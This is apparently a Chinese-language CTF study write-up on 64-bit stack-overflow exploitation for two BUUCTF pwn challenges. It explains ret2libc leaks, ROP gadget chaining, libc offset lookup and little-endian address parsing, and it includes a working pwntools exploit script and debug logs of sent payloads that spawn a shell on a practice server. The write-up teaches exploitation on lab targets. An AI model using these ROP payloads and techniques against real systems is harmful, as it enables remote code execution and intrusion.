这只是字符串内容

如果把返回地址改成字符串 "system" 的地址,CPU 会跳到这几个字符那里,把它们当机器指令执行,大概率直接崩溃。

所以要分清:

system 函数地址 / system@plt 地址 → 代码地址,可以跳过去执行
"system" 字符串地址               → 数据地址,不能当函数执行

为什么 /bin/sh 字符串地址可以用?

因为 /bin/sh 不是拿来执行的,而是拿来当 system 的参数。

system 的函数原型可以理解成:

int system(const char *command);

它需要一个字符串地址作为参数。

所以 /bin/sh 的地址不是放在返回地址位置,而是要放进第一个参数寄存器 rdi 里。

因此 64 位 payload 里需要:

payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

含义是:

pop rdi ; ret  → 把 /bin/sh 地址放进 rdi
/bin/sh 地址   → 作为 system 的第一个参数
system 地址    → 跳过去执行 system

为什么有时候还要加一个 ret?

64 位程序还可能遇到栈对齐问题。
有些情况下 payload 明明地址都对,但是跳到 system 后会崩,这时可能是栈没有按 16 字节对齐。

解决方法通常是在 pop rdi; ret 前面或者 system 前面加一个单独的 ret 地址:

payload = padding
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

这个 ret_addr 的作用是让 rsp 多移动 8 字节,从而调整栈对齐。


所以ROP 可以总结成:

32 位:
padding + system地址 + system返回地址 + "/bin/sh"地址

64 位:
padding + pop rdi; ret + "/bin/sh"地址 + system地址

2、payload其他地方讲解

(1)为什么 payload 开头要放 \0?难道不是gets栈溢出吗,怎么先处理strlen了?

是,溢出还是发生在 gets 那一步strlen 只是后面“处理已经溢出的内容”的函数

首先,gets 会把整个 payload 都读进 buf

然后到达strlen(buf),strlenbuf[0] 开始数长度,读到\0就break了

(2)泄露地址的payload构建原理

本题第一阶段不是直接 getshell,而是先泄露 libc 地址。

因为我们还不知道 libc 的真实加载地址,所以需要先泄露一个 libc 函数的实际地址,比如 puts

第一阶段 payload 的核心是:

payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

它的目的相当于执行:

puts(puts_got);

也就是把 puts 函数在 GOT 表中保存的真实地址打印出来。


第一阶段 payload 解释

  1. payload += p64(pop_rdi)

pop_rdipop rdi; ret 这个 gadget 的地址。

它的作用是:

从栈上取出下一个值,放进 rdi

因为 64 位程序第一个参数放在 rdi 里,所以调用 puts 前,需要先控制 rdi


  1. payload += p64(puts_got)

puts_gotputs 函数在 GOT 表里的地址。

GOT 表里保存的是外部函数运行时的真实地址。

执行到 pop rdi; ret 时,这个值会被弹进 rdi

rdi = puts_got

这样就相当于给 puts 设置好了参数。


  1. payload += p64(puts_plt)

puts_plt 是程序里调用 puts 函数的跳板地址

它的作用大概是:

去 GOT 表里找 puts 的真实地址,然后跳过去执行

执行到这里时,相当于调用:

puts(puts_got);

因为此时:

rdi = puts_got

所以 puts 会把 puts_got 指向的内容打印出来,也就是 libc 中 puts 的真实地址。

泄露出 puts 地址后,就可以计算 libc 基地址。


  1. payload += p64(main)

main 是程序主函数地址。

执行完 puts 后,程序会继续跳回 main,让我们可以再次输入第二个 payload。

这样就可以完成第二阶段攻击。

总结

执行 pop rdi,将 puts_got 地址放入 rdi 寄存器。

执行 puts_plt,调用 puts 函数,puts 函数根据 rdi 寄存器中的地址,打印出 puts 函数的实际地址,实现地址泄露。

执行 main,程序返回到 main 函数,等待我们进行下一次输入和攻击。

(3)r.recvline()要写多少个

r.recvline() 的意思是:

从程序输出里一直读,直到遇到一个 \n 为止

所以它接收的是“一行”

这是在exp里输入context.log_level = ‘debug’返回的东西

➜  ~ python3 buuctf
[+] Opening connection to node5.buuoj.cn on port 28002: Done
[*] '/home/ljy/Desktop/Desktop/ciscn_2019_c_1'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[DEBUG] Received 0x3e bytes:
    b'EEEEEEE                            hh      iii                '
[DEBUG] Received 0x1d9 bytes:
    b'\n'
    b'EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  \n'
    b'EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e \n'
    b'EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  \n'
    b'EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee \n'
    b'====================================================================\n'
    b'Welcome to this Encryption machine\n'
    b'\n'
    b'====================================================================\n'
    b'1.Encrypt\n'
    b'2.Decrypt\n'
    b'3.Exit\n'
    b'Input your choice!\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x24 bytes:
    b'Input your Plaintext to be encrypted'
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Sent 0x79 bytes:
    00000000  00 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │·aaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000050  61 61 61 61  61 61 61 61  83 0c 40 00  00 00 00 00  │aaaa│aaaa│··@·│····│
    00000060  20 20 60 00  00 00 00 00  e0 06 40 00  00 00 00 00  │  `·│····│··@·│····│
    00000070  28 0b 40 00  00 00 00 00  0a                        │(·@·│····│·│
    00000079
[DEBUG] Received 0xa bytes:
    b'Ciphertext'
[DEBUG] Received 0x220 bytes:
    00000000  0a 0a c0 f9  a1 c9 9b 7f  0a 45 45 45  45 45 45 45  │····│····│·EEE│EEEE│
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    00000020  20 20 20 20  20 20 20 20  20 20 20 20  68 68 20 20  │    │    │    │hh  │
    00000030  20 20 20 20  69 69 69 20  20 20 20 20  20 20 20 20  │    │iii │    │    │
    00000040  20 20 20 20  20 20 20 0a  45 45 20 20  20 20 20 20  │    │   ·│EE  │    │
    00000050  6d 6d 20 6d  6d 20 6d 6d  6d 6d 20 20  20 20 61 61  │mm m│m mm│mm  │  aa│
    00000060  20 61 61 20  20 20 63 63  63 63 20 68  68 20 20 20  │ aa │  cc│cc h│h   │
    00000070  20 20 20 20  20 20 20 6e  6e 20 6e 6e  6e 20 20 20  │    │   n│n nn│n   │
    00000080  20 65 65 65  20 20 0a 45  45 45 45 45  20 20 20 6d  │ eee│  ·E│EEEE│   m│
    00000090  6d 6d 20 20  6d 6d 20 20  6d 6d 20 20  61 61 20 61  │mm  │mm  │mm  │aa a│
    000000a0  61 61 20 63  63 20 20 20  20 20 68 68  68 68 68 68  │aa c│c   │  hh│hhhh│
    000000b0  20 20 69 69  69 20 6e 6e  6e 20 20 6e  6e 20 65 65  │  ii│i nn│n  n│n ee│
    000000c0  20 20 20 65  20 0a 45 45  20 20 20 20  20 20 6d 6d  │   e│ ·EE│    │  mm│
    000000d0  6d 20 20 6d  6d 20 20 6d  6d 20 61 61  20 20 61 61  │m  m│m  m│m aa│  aa│
    000000e0  61 20 63 63  20 20 20 20  20 68 68 20  20 20 68 68  │a cc│    │ hh │  hh│
    000000f0  20 69 69 69  20 6e 6e 20  20 20 6e 6e  20 65 65 65  │ iii│ nn │  nn│ eee│
    00000100  65 65 20 20  0a 45 45 45  45 45 45 45  20 6d 6d 6d  │ee  │·EEE│EEEE│ mmm│
    00000110  20 20 6d 6d  20 20 6d 6d  20 20 61 61  61 20 61 61  │  mm│  mm│  aa│a aa│
    00000120  20 20 63 63  63 63 63 20  68 68 20 20  20 68 68 20  │  cc│ccc │hh  │ hh │
    00000130  69 69 69 20  6e 6e 20 20  20 6e 6e 20  20 65 65 65  │iii │nn  │ nn │ eee│
    00000140  65 65 20 0a  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  │ee ·│====│====│====│
    00000150  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  │====│====│====│====│
    *
    00000180  3d 3d 3d 3d  3d 3d 3d 3d  0a 57 65 6c  63 6f 6d 65  │====│====│·Wel│come│
    00000190  20 74 6f 20  74 68 69 73  20 45 6e 63  72 79 70 74  │ to │this│ Enc│rypt│
    000001a0  69 6f 6e 20  6d 61 63 68  69 6e 65 0a  0a 3d 3d 3d  │ion │mach│ine·│·===│
    000001b0  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  3d 3d 3d 3d  │====│====│====│====│
    *
    000001f0  3d 0a 31 2e  45 6e 63 72  79 70 74 0a  32 2e 44 65  │=·1.│Encr│ypt·│2.De│
    00000200  63 72 79 70  74 0a 33 2e  45 78 69 74  0a 49 6e 70  │cryp│t·3.│Exit│·Inp│
    00000210  75 74 20 79  6f 75 72 20  63 68 6f 69  63 65 21 0a  │ut y│our │choi│ce!·│
    00000220

debug 里显示的:

[DEBUG] Received 0xa bytes:    
    b'Ciphertext'
[DEBUG] Received 0x220 bytes:    
    00000000  0a 0a c0 f9 a1 c9 9b 7f 0a ...

这里的两个 [DEBUG] Received 不等于两次 recvline()

它只是底层 socket 分两次收到了数据:

第一次收到:b'Ciphertext'
第二次收到:b'\n\n\xc0\xf9\xa1\xc9\x9b\x7f\n...'

把它们拼起来,程序真实输出应该是:

Ciphertext\n
\n
泄露的 puts 地址\n
菜单 banner...

也就是:

b'Ciphertext\n'
b'\n'
b'\xc0\xf9\xa1\xc9\x9b\x7f\n'
b'EEEEEEE ...'

所以

第一个 recvline() 接收的是 b'Ciphertext\n'
第二个 recvline() 接收的是 b'\n'
第三个 recvline() 才是泄露出来的 puts 地址

那我怎么知道该看哪些[DEBUG]的Received?

很简单,因为我们exp是这样写的

r.sendlineafter('Input your Plaintext to be encrypted\n',payload)

因此,这两个Received其实是我们发送payload前程序所打印出来的东西,我们要接收的是泄露出来的 puts 地址,而且payload在这个时候还没发送,在这两个Received之后的sent才是我们的payload,因此,我们只需要看这两个Received之后的sent的下一个Received开始的代码即可,即上面所解释的

[DEBUG] Received 0x24 bytes:
    b'Input your Plaintext to be encrypted'
[DEBUG] Received 0x1 bytes:
    b'\n'

(4)接收puts地址的代码解释

这行代码:

puts_addr = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))

作用是:

接收泄露出来的 puts 地址
去掉最后的换行符
补齐成 8 字节
再转换成 64 位整数

前面我们已经用:

r.recvline()
r.recvline()

丢掉了两行无用输出:

b'Ciphertext\n'
b'\n'

所以接下来这一行:

r.recvuntil(b'\n')

接收到的就是泄露出来的 puts 地址,例如:

b'\xc0\xf9\xa1\xc9\x9b\x7f\n'

注意这里最好写成:

b'\n'

而不是:

'\n'

因为在 Python3 里,pwntools 接收和发送的数据一般都是 bytes 类型。


r.recvuntil(b'\n') 的意思是:

一直接收数据,直到遇到换行符 \n 为止

比如它接收到:

b'\xc0\xf9\xa1\xc9\x9b\x7f\n'

最后的 \nputs 输出完内容后自动带上的换行符,不属于地址本身。

所以要用:

[:-1]

去掉最后一个字节,也就是去掉 \n

处理后得到:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

然后是:

.ljust(8, b'\x00')

它的作用是:把泄露出来的地址补齐到 8 字节

因为这是 64 位程序,地址长度是 8 字节,也就是:

64 bit = 8 byte

u64() 解析数据时也要求传进去的内容刚好是 8 字节。

但是实际泄露 libc 地址时,很多时候只会看到 6 个有效字节。

比如 libc 中 puts 的真实地址可能是:

0x00007f9bc9a1f9c0

这是一个完整的 64 位地址,按 8 字节写出来应该是:

00 00 7f 9b c9 a1 f9 c0

但是内存里保存地址时,不是这样从左到右存的。

在 x86 和 x86-64 架构里,地址一般是小端序存储。

所谓小端序,就是:

低位字节放在前面
高位字节放在后面

而我们正常这种比如0x123456的写法,是:

高位字节放在前面
低位字节放在后面

比如这个地址:

0x00007f9bc9a1f9c0

从高位到低位看是:

00 00 7f 9b c9 a1 f9 c0

但是在内存里按小端序存储时,会反过来:

c0 f9 a1 c9 9b 7f 00 00

所以 puts 泄露出来时,可能表现成:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

你会发现这里只泄露出了 6 字节:

c0 f9 a1 c9 9b 7f

后面的两个字节:

00 00

没有显示出来。

为什么没有显示出来?

因为这两个字节是:

b'\x00\x00'

也就是空字节。

puts 这种输出字符串的函数,遇到 \x00 会认为字符串结束,所以后面的 \x00\x00 不会被打印出来。

但是它们其实是完整 64 位地址的一部分。

所以我们要手动补回去:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

补齐成:(无论大小端序,一般我们补0都是往高位字节补)

b'\xc0\xf9\xa1\xc9\x9b\x7f\x00\x00'

这样才是完整的 8 字节地址。

这就是:

.ljust(8, b'\x00')

的作用。

PS:

向左边补就是:

.rjust(8, b'\x00')

ljust 的意思是:

left justify让原来的内容靠左

内容靠左之后,不够的地方就在右边补

rjust 的意思是:

right justify让原来的内容靠右

内容靠右之后,不够的地方就在左边补


简单理解大小端序:

假设有一个 4 字节数据:

0x12345678

按正常从左到右看:

12 34 56 78

其中:

12 是高位字节
78 是低位字节

大端序存储是:

12 34 56 78

也就是高位在前。

小端序存储是:

78 56 34 12

也就是低位在前。

x86 / x86-64 使用的是小端序,所以地址:

0x00007f9bc9a1f9c0

在内存中是:

c0 f9 a1 c9 9b 7f 00 00

因此泄露出来的前 6 字节:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

需要在右边补:

b'\x00\x00'

变成:

b'\xc0\xf9\xa1\xc9\x9b\x7f\x00\x00'

然后才能交给:

u64()

解析成正确的 64 位地址

这个判断我们在最开始checksec的时候就可以看到,不用自己瞎猜:

Arch: amd64-64-little

可以拆成三部分理解:

amd64   → 64 位 x86 架构
64      → 64 位程序
little  → 小端序

所以它告诉你:

这是一个 64 位小端序程序

PS:

在 pwn 里处理地址时,核心只看两件事:

1. 我现在拿到的是整数地址,还是原始字节/字符串?
2. 我要拿它去计算,还是写进 payload?

最重要的一句话:

原始字节 / 字符串    →  先转成整数地址
整数地址            →  可以直接计算
整数地址写进 payload  →  用 p64 / p32 打包

也就是:

泄露数据 bytes  →  u64/u32  →  整数地址  →  p64/p32  →  payload 字节

什么时候可以直接用?

如果拿到的是这种:

addr = 0x7f9bc9a1f9c0

这种已经是 Python 里的整数地址了,可以直接用于计算,不需要自己管大小端序。

比如:

0x7f9bc9a1f9c0

是人能看的数字形式,不是内存里的字节顺序,所以不用手动反过来。

但是注意,如果要把这个地址写进 payload,还是要用 p64()p32() 打包,不能直接拼整数。

比如 64 位程序里:

payload += p64(addr)

也就是说:

整数地址用于计算时:直接用整数地址
写进 payload 时:p64(addr) / p32(addr)

什么时候要考虑大小端序?

只有在这两种情况下需要考虑大小端序:

1. 原始字节 → 整数地址
2. 整数地址 → payload 字节

也就是用这些函数的时候:

u64()
u32()
p64()
p32()

比如程序泄露出来的是:

data = b'\xc0\xf9\xa1\xc9\x9b\x7f'

这是原始字节,不是整数地址。

因为程序是:

amd64-64-little

说明它是 64 位小端序程序。

小端序的意思是:

低位字节在前
高位字节在后

所以:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

要按小端序解析,不能直接当成:

0xc0f9a1c99b7f

正确做法是:

addr = u64(data.ljust(8, b'\x00'))

得到的才是:

0x7f9bc9a1f9c0

所以:

看到 b'\x..' 这种原始字节 → 用 u64/u32 转成整数地址
看到 0x... 这种整数地址   → 用于计算时可以直接用

如果这个原始字节是从 recvline() 接收到的,最后一般会带一个换行符 \n,就要先去掉换行符:

data = r.recvline()
addr = u64(data[:-1].ljust(8, b'\x00'))

debug 里的 00 22 33 44 怎么看?

如果你在 debug 里看到:

00 22 33 44

这不是普通数字,它是 pwntools 把原始字节显示成十六进制给你看。

它等价于:

b'\x00\x22\x33\x44'

所以本质上,它和:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

是一类东西,都是原始字节

区别只是显示方式不同:

debug 里显示:00 22 33 44
Python 里写法:b'\x00\x22\x33\x44'

如果程序是小端序,那么这 4 个字节解析成整数时:

内存中的原始字节:00 22 33 44
小端序含义:第一个字节 00 是最低位,最后一个字节 44 是最高位
整数形式:0x44332200

如果你真的想手动测试,可以写:

data = bytes.fromhex("00 22 33 44")
addr = u64(data.ljust(8, b'\x00'))

但是平时写 exp 时,一般不需要手动 bytes.fromhex()

因为脚本里通常是直接:

data = r.recvline()
addr = u64(data[:-1].ljust(8, b'\x00'))

字符串形式的地址怎么处理?

如果拿到的是:

data = b'0x7f9bc9a1f9c0'

注意它虽然长得像地址,但它是字符串形式的地址。

它里面的内容是字符:

0 x 7 f 9 b ...

换成十六进制 ASCII 字节大概是:

30 78 37 66 39 62 ...

它不是原始地址字节:

b'\xc0\xf9\xa1\xc9\x9b\x7f'

所以不能用:

u64(data)

u64() 是用来解析内存原始字节的。

而:

b'0x7f9bc9a1f9c0'

是一个数字的文本表示,所以要用 int() 把文本转成整数。

data = b'0x7f9bc9a1f9c0'
addr = int(data, 16)

这里的 16 表示:

按十六进制来理解这个字符串

因为里面是:

0x7f9b...

这是十六进制。

如果没有 0x,比如:

data = b'7f9bc9a1f9c0'

这也是十六进制字符串:

addr = int(data, 16)

如果是十进制字符串,比如:

data = b'140307123456000'

就用:

addr = int(data)

为什么有时候 int() 后面写 16,有时候不写?

因为 int() 默认按十进制解析。

比如:

int(b'1234')

等价于:

int(b'1234', 10)

结果就是十进制的:

1234

但是如果你写:

int(b'7f9bc9a1f9c0')

会报错,因为默认十进制里没有 f 这种字符。

所以十六进制字符串要写:

int(data, 16)

也就是:

十进制字符串 → int(data)
十六进制字符串 → int(data, 16)

最终只记这个表就行:(这里涉及到大小端序的就以小端序举例)

看到 0x7f9bc9a1f9c0:    
    这是整数地址    
    用于计算时可以直接用    
    写进 payload 时用 p64(addr) / p32(addr)

看到 b'\xc0\xf9\xa1\xc9\x9b\x7f':    
    这是原始字节    
    用 u64(data.ljust(8, b'\x00')) 转成整数地址    
    如果是 32 位程序,就用 u32(data.ljust(4, b'\x00'))

看到 debug 里的 00 22 33 44:    
    这是原始字节的显示形式    
    等价于 b'\x00\x22\x33\x44'    
    本质上和 b'\x..' 这种是一样的    
    正常 exp 里一般不用手动转    
    真要手动测试才用 bytes.fromhex("00 22 33 44")

看到 b'0x7f9bc9a1f9c0':    
    这是十六进制字符串    
    用 int(data, 16)

看到 b'7f9bc9a1f9c0':    
    这也是十六进制字符串    
    用 int(data, 16)

看到 b'140307123456000':    
    这是十进制字符串    
    用 int(data)

第一次泄露时: 内存字节 → 整数地址 用 u64()

中间计算时: 整数地址 → 整数地址 直接加减

第二次写 payload 时: 整数地址 → 内存字节 用 p64()


最后是:

u64(...)

u64() 是 pwntools 里的函数,作用是把 8 字节的小端序数据转换成 64 位整数。

例如:

u64(b'\xc0\xf9\xa1\xc9\x9b\x7f\x00\x00')

会得到类似:

0x7f9bc9a1f9c0

这个值就是泄露出来的 puts 函数真实地址。


所以这行代码完整拆开就是:

data = r.recvuntil(b'\n')      # 接收一行泄露数据
data = data[:-1]               # 去掉最后的换行符
data = data.ljust(8, b'\x00')  # 补齐到 8 字节
puts_addr = u64(data)          # 转换成 64 位地址

简写在一起就是:

puts_addr = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))

recvuntil() 的意思是:

一直接收,直到遇到指定内容为止

所以要告诉它“收到什么为止”,比如:

r.recvuntil(b'\n')

表示:

一直接收,直到遇到换行符 \n

而:

r.recvline()

本身就是“接收一行”,默认读到 \n 为止,所以不用额外写 b'\n'

即也可以写成:

puts_addr = u64(r.recvline()[:-1].ljust(8, b'\x00'))

因为这里本质上就是接收一行数据。


需要注意,不建议用:

strip()

比如:

u64(r.recvline().strip().ljust(8, b'\x00'))

虽然很多时候也能跑通,但 strip() 默认会去掉字符串或 bytes 两边的空白字符,比如:

\x0a\x20\x09

如果泄露地址里刚好包含这些字节,可能会把地址的一部分误删掉。

所以更推荐用:

[:-1]

只去掉最后的换行符

bytes 来说,默认会去掉这些:

b' \t\n\r\x0b\f'

分别是:

b' '     空格,0x20
b'\t'    制表符,0x09
b'\n'    换行符,0x0a
b'\r'    回车符,0x0d
b'\x0b'  垂直制表符
b'\f'    换页符,0x0c

我怎么判断是字符串还是bytes呢,strip错了怎么办?

在 pwn 里,基本上你从程序接收到的东西都是 bytes

在 Python3 里可以这样判断:

type(data)

如果输出是:

<class 'bytes'>

说明它是 bytes。

如果输出是:

<class 'str'>

说明它是字符串。

也可以直接看写法:

b'abc'   # bytes
'abc'    # str

也就是:

前面有 b 的,是 bytes
前面没有 b 的,是 str

比如:

data = r.recvline()
print(type(data))
print(repr(data))

一般会看到:

<class 'bytes'>
b'\xc0\xf9\xa1\xc9\x9b\x7f\n'

这里的:

b'\xc0\xf9\xa1\xc9\x9b\x7f\n'

就是 bytes,不是普通字符串

那我怎么加在脚本上?

在写

puts_addr = u64(r.recvline().strip().ljust(8, b'\x00'))

可以用这几行调试一下

data = r.recvline()      # 从程序输出中接收一行数据,直到遇到换行符 \n 为止,并把这一行保存到 data 里

print(type(data))        # 打印 data 的类型,用来看它是 bytes 还是 str

print(repr(data))        # 打印 data 的原始形式,可以看到 \n、\x00、\x7f 这类不可见字节,方便我们进一步调试,比如对比一下里面的东西有没有被误删

如果是bytes的话,可以在后面补下列代码,或者把这几行调试的直接替换成上面说的完整代码,strip()和[:-1]都行

puts_addr = u64(data.strip().ljust(8, b'\x00'))

就OK了

(5)libc的计算

程序里的函数的地址跟它所使用的libc里的函数地址不一样

函数运行时真实地址 = libc 基地址 + 函数在 libc 里的偏移

libc = LibcSearcher('puts', puts_addr)

这个 libc 不是 libc 基地址,也不是程序里加载的那个 libc 本体

它更像是一个“查询对象”:

根据你泄露出来的 puts_addr
去 LibcSearcher 的 libc 数据库里找可能匹配的 libc 版本。

找到以后,这个对象就知道这个 libc 版本里:

puts 的偏移是多少
system 的偏移是多少
"/bin/sh" 字符串的偏移是多少

所以后面才能:

libc.dump('puts')
libc.dump('system')
libc.dump('str_bin_sh')

为什么通过 puts 可以 dump 出 system/bin/sh

因为它们都在同一个 libc 文件里。

程序运行时大概是这样:

程序本体  
    ↓
链接同一个 libc.so.6  
    ↓
libc 里有 puts、system、read、printf、"/bin/sh" 等东西

虽然你只泄露了 puts 的真实地址,但只要你能确定当前使用的是哪一个 libc 版本,就可以知道这个 libc 里其他符号的偏移

例如某个 libc 文件内部可能是:

puts 偏移      = 0x0809c0
system 偏移    = 0x04f440
/bin/sh 偏移   = 0x1b3e9a

这些偏移在这个 libc 文件里是固定的。

所以:

libc.dump('puts')

返回的是:

puts 在这个 libc 里的偏移
libc.dump('system')

返回的是:

system 在这个 libc 里的偏移
libc.dump('str_bin_sh')

返回的是:

"/bin/sh" 字符串在这个 libc 里的偏移

12、jarvisoj_level2_x64(64位ROP,read栈溢出)

题目

做法

开虚拟机checksec

64位,没开栈保护

扔进IDA(64位),找到main,F5反编译

调用了vulnerable_function函数,其他没啥,点进去看看

还是没啥,点进缓冲区buf看看

完整代码如下,buf对应第9行buf

-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db ?
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078                 db ? ; undefined
-0000000000000077                 db ? ; undefined
-0000000000000076                 db ? ; undefined
-0000000000000075                 db ? ; undefined
-0000000000000074                 db ? ; undefined
-0000000000000073                 db ? ; undefined
-0000000000000072                 db ? ; undefined
-0000000000000071                 db ? ; undefined
-0000000000000070                 db ? ; undefined
-000000000000006F                 db ? ; undefined
-000000000000006E                 db ? ; undefined
-000000000000006D                 db ? ; undefined
-000000000000006C                 db ? ; undefined
-000000000000006B                 db ? ; undefined
-000000000000006A                 db ? ; undefined
-0000000000000069                 db ? ; undefined
-0000000000000068                 db ? ; undefined
-0000000000000067                 db ? ; undefined
-0000000000000066                 db ? ; undefined
-0000000000000065                 db ? ; undefined
-0000000000000064                 db ? ; undefined
-0000000000000063                 db ? ; undefined
-0000000000000062                 db ? ; undefined
-0000000000000061                 db ? ; undefined
-0000000000000060                 db ? ; undefined
-000000000000005F                 db ? ; undefined
-000000000000005E                 db ? ; undefined
-000000000000005D                 db ? ; undefined
-000000000000005C                 db ? ; undefined
-000000000000005B                 db ? ; undefined
-000000000000005A                 db ? ; undefined
-0000000000000059                 db ? ; undefined
-0000000000000058                 db ? ; undefined
-0000000000000057                 db ? ; undefined
-0000000000000056                 db ? ; undefined
-0000000000000055                 db ? ; undefined
-0000000000000054                 db ? ; undefined
-0000000000000053                 db ? ; undefined
-0000000000000052                 db ? ; undefined
-0000000000000051                 db ? ; undefined
-0000000000000050                 db ? ; undefined
-000000000000004F                 db ? ; undefined
-000000000000004E                 db ? ; undefined
-000000000000004D                 db ? ; undefined
-000000000000004C                 db ? ; undefined
-000000000000004B                 db ? ; undefined
-000000000000004A                 db ? ; undefined
-0000000000000049                 db ? ; undefined
-0000000000000048                 db ? ; undefined
-0000000000000047                 db ? ; undefined
-0000000000000046                 db ? ; undefined
-0000000000000045                 db ? ; undefined
-0000000000000044                 db ? ; undefined
-0000000000000043                 db ? ; undefined
-0000000000000042                 db ? ; undefined
-0000000000000041                 db ? ; undefined
-0000000000000040                 db ? ; undefined
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030                 db ? ; undefined
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

栈溢出吗?先数一下吧,offset=8*16+8=136

然后按Shift+F12找后门函数

找到一个system,一个/bin/sh,但是点进去没啥东西的

但是,有/bin/sh,然后我们再看到左边函数窗口有system@plt 的地址,我们瞬间想到可以用ROP来解这道题(不懂的看下面的《补充》)

然后因为这个文件是64位的,我们还需用ROPgadget来查询该文件的pop rdi地址

ROPgadget --binary 文件  --only "pop|ret" | grep "rdi"(|后面的是筛选,不要|及后面的内容会弹出很多地址)

我们就开始编写exp

代码如下

# 导入所需模块
from pwn import *

#与靶机连接
r = remote("node5.buuoj.cn",29666)

#构建payload
payload = b'a' * 136 + p64(0x4006b3) + p64(0x600A90) + p64(0x4004C0)

#发送payload
r.sendline(payload)

#与靶机进行交互
r.interactive()           

常规,得出flag

补充

为什么 64 位 ROP 里要找 pop rdi; ret

因为这题是 64 位程序,而 64 位 Linux 下函数传参方式和 32 位不同

在 32 位程序里,函数参数一般放在栈上,所以构造 system("/bin/sh")

payload 可以写成:

payload = padding + p32(system_addr) + p32(fake_ret) + p32(binsh_addr)

也就是:

system 地址
system 返回地址
"/bin/sh" 字符串地址

为什么32位需要返回地址,64位程序不用?

返回地址是函数调用时为了“函数执行完后知道回到哪里继续执行”而放在栈上的;

32 位程序中,函数参数通常也放在栈上,所以 ret2system 时要在栈上伪造出 system 调用时需要的结构,也就是 system 地址 + system 返回地址 + 参数地址。其中中间的返回地址只是给 system 执行完后返回用的占位。

